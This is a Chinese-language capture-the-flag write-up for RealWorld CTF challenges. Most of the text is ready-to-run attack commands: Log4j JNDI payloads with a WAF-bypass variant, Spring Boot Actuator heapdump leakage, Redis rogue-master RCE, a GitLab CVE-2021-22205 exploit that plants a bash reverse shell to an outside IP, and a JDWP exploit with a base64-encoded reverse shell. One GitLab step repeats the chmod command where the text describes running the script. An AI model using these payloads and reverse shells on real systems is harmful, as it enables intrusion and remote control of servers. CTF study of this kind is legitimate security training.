RealWorld CTF体验赛Writeup
2022-01-22 13:29:00 # CTF

前言:

这次比赛的题目是需要nc连上去,然后md5截断比较验证,才会给出题目的端口。爆破脚本参考这篇文章:https://www.cnblogs.com/yesec/p/11297568.html

Check-in

Digital Souvenir

Web

log4flag

进入题目 熟悉的log4j,先输入常规的payload:${jndi:rmi://101.43.66.67:1099/rvosq5},密码任意,点击登录,会被waf拦截,提示非法参数值。

1642830305553.png

网上找了一篇bypass的文章: https://blog.csdn.net/qq_42322144/article/details/121922084

其中一条payload : ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}可以绕过,即:${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://101.43.66.67:1099/rvosq5},同时VPS开启监听

1642830642426.png

拿到flag:

1
rwctf{d4b4b837f95542aa93b43ee280b230d8}

the Secrets of Memory

1642831080321.png

进入题目,看到Actuator,联想到Spring Boot,尝试一下Spring Boot常见漏洞,发现存在env接口泄露。访问http://139.196.213.45:32646/actuator/env搜索password字符

1642831498015.png

可以看到,数据库源密码就是flag,而这里的值是星号加密了的,脱敏的方法可以访问http://139.196.213.45:32646/actuator/heapdump下载heapdump内存,通过MAT工具获得脱敏后的值,具体方法详见:https://landgrey.me/blog/16/

用工具打开内存后,点击OQL 标签,在查询框中输入:

1
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))

即可查询到脱敏后的password 也就是这里的flag

1642831796411.png

得到flag:

1
rwcft{d597d5defdd22829d8587efb9f9d0954}

Be-a-Database-Hacker

这题用redis主从复制RCE的洞来打,工具链接:https://github.com/vulhub/redis-rogue-getshell

将工具下载到 VPS上,执行cd RedisModulesSDK/进入RedisModulesSDK目录,然后执行make用来编译exp.so

然后用find命令查找一下flag文件的位置

1
python3 redis-master.py -r 47.102.124.80 -p 35829 -L 101.43.66.67 -P 12345 -f RedisModulesSDK/exp.so -c "find / -name 'fla*'"

1642832278846.png

然后直接cat /tmp/flag.txt即可

1
python3 redis-master.py -r 47.102.124.80 -p 35829 -L 101.43.66.67 -P 12345 -f RedisModulesSDK/exp.so -c "cat /tmp/flag.txt"

1642832334641.png

得到flag:

1
rwctf{c4374dba71fbf50144f7a1a04b7f5837}

Be-a-Database-Hacker 2

baby flaglab

进入题目,发现是Gitlab的登陆页面,最近有一个Gitlab的远程命令执行漏洞(CVE-2021-22205),Github上利用工具: https://github.com/Al1ex/CVE-2021-22205

执行命令,将反弹shell的命令写入tmp目录的le1a.sh

1
python CVE-2021-22205.py -a true -t http://47.102.106.96:34894/ -c "echo 'bash -i >& /dev/tcp/101.43.66.67/12345 0>&1' > /tmp/le1a.sh"

然后将这个bash脚本赋予执行权限

1
python CVE-2021-22205.py -a true -t http://47.102.106.96:34894/ -c "chmod +x /tmp/le1a.sh"

在自己VPS上开启一个监听,然后执行该脚本即可反弹shell

1
python CVE-2021-22205.py -a true -t http://47.102.106.96:34894/ -c "chmod +x /tmp/le1a.sh"

1642832868303.png

得到flag:

1
rwctf{4edb62cb7b37d647e13bfed4f8d4b860}

Ghost Shiro

工具一把梭,地址:https://github.com/SummerSec/ShiroAttack2/releases

1642846137962.png

得到flag:

1
rwctf{1b3df79b3c0e39f5b9f8815914403432}

Flag Console

Java Remote Debugger

JDWP漏洞,参考这个文章:https://www.wangan.com/articles/4255

漏洞利用脚本:https://github.com/IOActive/jdwp-shellifier

VPS开一个监听,然后用python2执行命令:

1
python2 jdwp-shellifier.py -t 139.196.23.201 -p 8888 --break-on "java.lang.String.indexOf" --cmd "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuNjYuNjcvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}"

1642849009382.png

1642849028358.png

得到flag:

1
rwctf{2c0e7100bcb45cc825ca07eccb86e568}